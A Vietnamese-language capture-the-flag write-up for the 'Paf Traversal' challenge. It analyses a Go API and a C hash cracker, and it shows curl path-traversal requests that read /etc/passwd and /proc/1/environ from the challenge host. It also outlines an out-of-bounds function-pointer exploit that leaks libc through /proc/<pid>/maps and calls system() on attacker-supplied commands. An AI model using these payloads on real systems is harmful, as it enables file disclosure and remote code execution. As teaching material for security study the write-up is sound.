pwn - Paf Traversal
Your mission is to audit a high-performance hash-cracking platform. It achieves its speed by combining a Go-based API server with a C-powered hash-cracking service.

Recon
Bài này cho mình đầu tiên là Dockerfile tạo user, copy file cần thiết vào container và cuối cùng chạy file /entrypoint.sh
# => BUILDER
FROM golang:1.25-trixie@sha256:a02d35efc036053fdf0da8c15919276bf777a80cbfda6a35c5e9f087e652adfc AS builder
RUN apt-get update && \
apt-get install -y --no-install-recommends build-essential make ca-certificates libssl-dev && \
rm -rf /var/lib/apt/lists/*
WORKDIR /src
COPY ./api/ ./api/
COPY ./cracker/ ./cracker/
# Build the Go binary
WORKDIR /src/api/
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \
go build -ldflags="-s -w" -o api .
# Build the C binary
WORKDIR /src/cracker
RUN make
# => RUNTIME
FROM debian:trixie@sha256:8f6a88feef3ed01a300dafb87f208977f39dccda1fd120e878129463f7fa3b8f AS runtime
RUN apt-get update && \
apt-get install -y --no-install-recommends openssl && \
rm -rf /var/lib/apt/lists/*
RUN useradd -m app -d /app/
COPY ./entrypoint.sh /entrypoint.sh
# COPY --from=builder /src/api/ /app/api/
# COPY --from=builder /src/cracker/ /app/cracker/
COPY ./api/ /app/api/
COPY ./cracker/ /app/cracker/
RUN chmod +x /entrypoint.sh && \
chown app:app -R /app/
USER app
WORKDIR /app/
CMD ["/entrypoint.sh"]#!/bin/bash
echo "${FLAG:-HEROCTF_FAKE_FLAG}" > "/app/flag_$(openssl rand -hex 8).txt"
chmod 444 /app/flag_*.txt
unset FLAG
/app/cracker/cracker &
cd /app/api/ && ./apiKhi chạy ./api, mình có được một web app viết bằng Go, có chức năng quản lý wordlists, cho phép upload, download, liệt kê wordlists, tương tác với binary cracker để bruteforce hash.

Trước hết, vì do quen pwn C, mình review code của cracker, mình hiểu flow hoạt động cơ bản như sau. Web app và binary nói chuyện qua named pipe. Binary lắng nghe tại /tmp/cracker.in, web app lắng nghe tại /tmp/cracker.out, /tmp/cracker.in để binary đọc và web app ghi, /tmp/cracker.out thì ngược lại. Khi mình gửi request lên web app, thì web app sẽ ghi vào /tmp/cracker.in và binary đọc được, sau đó binary sẽ trích xuất ra các đầu vào cần thiết, fork ra một process con để xử lý:
pid_t pid = fork();
if (pid < 0) {
perror("fork");
int outfd = open(FIFO_OUT, O_WRONLY | O_NONBLOCK);
if (outfd >= 0) {
dprintf(outfd, "ERROR:server fork failed\n");
close(outfd);
}
continue;
} else if (pid == 0) {
signal(SIGINT, SIG_DFL);
signal(SIGTERM, SIG_DFL);
handle_request(algo_type_str, hash_str, wordlist_str);
_exit(0);
}void handle_request(const char *algo_type_str, const char *hash_str, const char *wordlist_str) {
unsigned char output_bin[SHA512_DIGEST_LENGTH];
char hash_bin[SHA512_DIGEST_LENGTH];
char output_hex[SHA512_DIGEST_LENGTH * 2 + 1];
int outfd = open(FIFO_OUT, O_WRONLY);
if (outfd < 0) {
perror("open FIFO_OUT for writing in handle_request");
return;
}
int algo_type = atoi(algo_type_str);
printf("[%d] target hash: %s (wordlist: %s)\n", algo_type, hash_str, wordlist_str);
fflush(stdout);
int output_len = SHA256_DIGEST_LENGTH;
switch (algo_type) {
case 0: output_len = MD5_DIGEST_LENGTH; break;
case 1: output_len = SHA_DIGEST_LENGTH; break;
case 2: output_len = SHA256_DIGEST_LENGTH; break;
default:
fprintf(stderr, "Unsupported algorithm type: %d\n", algo_type);
dprintf(outfd, "ERROR:unsupported algorithm type %d\n", algo_type);
close(outfd);
}
compute_fn hash_functions[] = {
compute_md5,
compute_sha1,
compute_sha256,
};
compute_fn* hash_fn = &hash_functions[algo_type];
FILE *wordlist = fopen(wordlist_str, "r");
if (!wordlist) {
perror("fopen wordlist");
dprintf(outfd, "ERROR:could not open wordlist '%s': %s\n", wordlist_str, strerror(errno));
close(outfd);
return;
}
from_hex(hash_str, (unsigned char *)hash_bin, output_len);
char pw[512];
int found = 0;
while (fgets(pw, sizeof(pw), wordlist)) {
size_t pwlen = strcspn(pw, "\r\n");
pw[pwlen] = '\0';
if (pwlen == 0) continue;
(*hash_fn)((const unsigned char *)pw, pwlen, output_bin);
to_hex(output_bin, output_len, output_hex);
printf("Trying: '%s' -> %s (target %s)\n", pw, output_hex, hash_str);
fflush(stdout);
if (memcmp(output_bin, hash_bin, output_len) == 0) {
dprintf(outfd, "SUCCESS:%s\n", pw);
printf("SUCCESS: hash(%s) == %s\n", pw, hash_str);
found = 1;
break;
}
}
if (!found) {
dprintf(outfd, "ERROR:password not found\n");
printf("ERROR:Password not found for %s\n", hash_str);
}
close(outfd);
fclose(wordlist);
}Ở đây, mình để ý algo_type ko được kiểm tra, mà dùng trực tiếp, dẫn đến out of bound tại khi chọn hash functions:
compute_fn hash_functions[] = {
compute_md5,
compute_sha1,
compute_sha256,
};
compute_fn* hash_fn = &hash_functions[algo_type];Tiếp tục, ở hàm này cũng ko kiểm tra xem wordlist_str có bị dính path traversal hay ko. Giả sử mình cho wordlist_str trỏ về được ../../../../../app/flag_*.txt, thì flag sẽ được đọc vào pw. Nhưng để pw được in ra (ko phải printf mà phải được ghi vào /tmp/cracker.out) thì hash của pw phải đúng với hash mà mình nhập vào:
if (memcmp(output_bin, hash_bin, output_len) == 0) {
dprintf(outfd, "SUCCESS:%s\n", pw);
...
}Lợi dụng out of bound ở hash functions, mình có thể chọn thành các function khác đã được ghi địa chỉ ở trên stack, thì mình có 2 hướng như sau:
- pw được truyền làm đối số đầu tiên, tức được rdi trỏ đến, nếu mình chọn được hàm nào đó có chức năng ghi ra tham số đầu tiên thì lấy được flag luôn.
- output_bin chưa được khởi tạo, nên nếu mình chọn được hàm nào mà ko tác động tới output_bin, thì mình biết trước được dữ liệu trong output_bin là gì và nhập vào hash_bin, thực thi được dprintf(outfd, “SUCCESS:%s\n”, pw);.
Tuy nhiên, mình nghĩ đây là rabbit hole :)) ko có hàm nào trên stack thỏa mãn được 1 trong 2 cái trên. Có thỏa mãn được cái 2 nhưng lại ko return về để tiếp tục so sánh output_bin và hash_bin.
Mình mắc kẹt ở đoạn này, cho đến khi nhìn sang mã nguồn của web app viết bằng Go. Để quản lý wordlists, có 4 API như sau trong routers.go:
wordlistGroup := apiGroup.Group("/wordlist")
{
wordlistGroup.GET("", controllers.HandleListWordlist)
wordlistGroup.POST("/download", controllers.HandleDownloadWordlist)
wordlistGroup.POST("", controllers.HandleUploadWordlist)
wordlistGroup.DELETE("", controllers.HandleDeleteWordlist)
}GET /api/wordlist- Liệt kê wordlist.POST /api/wordlist- Upload wordlist.POST /api/wordlist/download- Download wordlist.DELETE /api/wordlist- Xóa wordlist.
Vậy thì download wordlist có khả năng cho mình được nội dung file nhất. Vậy mình xem qua mã nguồn của nó tại wordlist_controller.go:
func HandleDownloadWordlist(c *gin.Context) {
wordlistDir := getWordlistDir()
json := DownloadRequest{}
if err := c.ShouldBindJSON(&json); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
fileName := path.Base(json.Filename)
filePath := filepath.Join(wordlistDir, json.Filename)
f, err := os.Open(filePath)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer f.Close()
data, err := io.ReadAll(f)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"filename": fileName,
"content": string(data),
})
}Nhìn ở đây, fileName dành cho việc hiển thị trong response thì dùng json.Filename được sanitize, nhưng trong filePath dành cho việc mở và đọc file thì ko được sanitize. Vì thế có path traversal ở đây.
Mình test nhanh như sau:
$ curl -X POST -H "Content-Type: application/json" -d '{"filename":"../../../../../etc/passwd"}' http://dyn14.heroctf.fr:13045/api/wordlist/download
{"content":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\napp:x:1000:1000::/app/:/bin/sh\n","filename":"passwd"}Ok vậy mình đọc trực tiếp được flag luôn nhỉ? Nhưng mà filename của flag có chứa các hex ngẫu nhiên (vd như flag_9d158c6fd1250c63.txt), làm sao mà mình lấy được? Bruteforce thì tất nhiên ko rồi, vậy còn cách nào khác?
Để ý lại file entrypoint.sh:
echo "${FLAG:-HEROCTF_FAKE_FLAG}" > "/app/flag_$(openssl rand -hex 8).txt"
chmod 444 /app/flag_*.txt
unset FLAGFlag được lấy từ environment variable FLAG rồi ghi vào /app/flag_*.txt, nếu FLAG ko tồn tại, dùng chuỗi mặc định là HEROCTF_FAKE_FLAG. Mình cần phải tìm cách để đọc được biến FLAG này bằng path traversal.
Giả sử trên remote, docker container dược khởi động với FLAG được inject như sau:
docker run -e FLAG="Hero{...}" pafentrypoint.sh là một bash script được khởi chạy đầu tiên trong container, được gán PID là 1, nó sẽ nhận trực tiếp env vars từ docker. Mình có thể xác nhận bằng cách đọc /proc/1/cmdline (command line khi chạy process) vì trong container không cài sẵn ps:
ngtuonghung@ubuntu:~/ctfs/heroctfv7/paf_traversal$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a2bf5ab2bd5e paf "/entrypoint.sh" About a minute ago Up About a minute nervous_shockley
ngtuonghung@ubuntu:~/ctfs/heroctfv7/paf_traversal$ docker exec -it a2bf /bin/bash
app@a2bf5ab2bd5e:/app$ ps aux | grep entrypoint
bash: ps: command not found
app@a2bf5ab2bd5e:/app$ cat /proc/1/cmdline
/bin/bash /entrypoint.shTrong /proc còn có file /proc/1/environ, chứa tất cả env var của process khi vừa được hình thành dưới dạng snapshot, đồng nghĩa với việc dữ liệu ở đây không thể thay đổi. Kể cả sau này process có sửa env vars, thì /proc/1/environ vẫn vậy. Nghĩa là việc unset FLAG, mặc dù xóa cả shell var và env var trong bộ nhớ của process, nhưng /proc/1/environ sẽ vẫn chứa FLAG.
Solve
Vậy mình có thể đọc được biến FLAG luôn như sau:
$ curl -X POST -H "Content-Type: application/json" -d '{"filename":"../../../../../proc/1/environ"}' http://dyn14.heroctf.fr:13045/api/wordlist/download
{"content":"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000HOSTNAME=paf_traversal\u0000FLAG=Hero{e9e2b63a0daa9ee41d2133b450425b2cd7c7510e5a28b655748456bd3f6e5c2a}\u0000DEPLOY_HOST=dyn14.heroctf.fr\u0000DEPLOY_PORTS=8000/tcp-\u003e13045\u0000HOME=/app/\u0000","filename":"environ"}Intended Solution
Ngoài cách unintended ở trên, còn có cách intended solution như sau. Thay vì đọc /proc/1/environ để lấy flag từ environment variable, mình có thể tận dụng lỗi out-of-bounds ở hash_functions để RCE.
Như đã phân tích ở trên, algo_type không được kiểm tra bounds khi truy cập vào mảng hash_functions. Điều này khiến hash_fn có thể trỏ vào vùng nhớ ngoài mảng - cụ thể là vùng nhớ của hash_bin buffer mà mình hoàn toàn kiểm soát được thông qua tham số hash_str:
compute_fn hash_functions[] = {
compute_md5,
compute_sha1,
compute_sha256,
};
compute_fn* hash_fn = &hash_functions[algo_type];
// hash_bin nằm ngay sau trên stack
from_hex(hash_str, (unsigned char *)hash_bin, output_len);Ý tưởng là làm cho hash_fn trỏ vào hash_bin, sau đó điền địa chỉ của system vào hash_bin. Khi hàm được gọi tại (*hash_fn)((const unsigned char *)pw, pwlen, output_bin), pw (tham số đầu tiên) sẽ được truyền vào rdi và thực thi system(pw).
Để lấy được địa chỉ của system trong libc, mình cần leak libc base address trước. May mắn là mình có thể tận dụng path traversal để đọc /proc/<cracker_pid>/maps và lấy base address của libc:
$ curl -X POST -H "Content-Type: application/json" \
-d '{"filename":"../../../../../proc/<PID>/maps"}' \
http://target/api/wordlist/downloadSau khi có libc base, mình tính được địa chỉ system. Tiếp theo:
- Chọn algo_type sao cho hash_fn trỏ vào hash_bin (thường là 3 hoặc lớn hơn).
- Upload wordlist chứa command muốn chạy, ví dụ:
cp /app/flag_*.txt /app/api/assets/flag.txt - Gửi request crack với hash_str chứa địa chỉ system dạng hex.
Khi binary xử lý, nó sẽ gọi system với đối số là dòng đầu tiên trong wordlist, thực thi command copy flag ra thư mục assets (có thể truy cập qua web).
Cuối cùng, truy cập http://target/assets/flag.txt để lấy flag.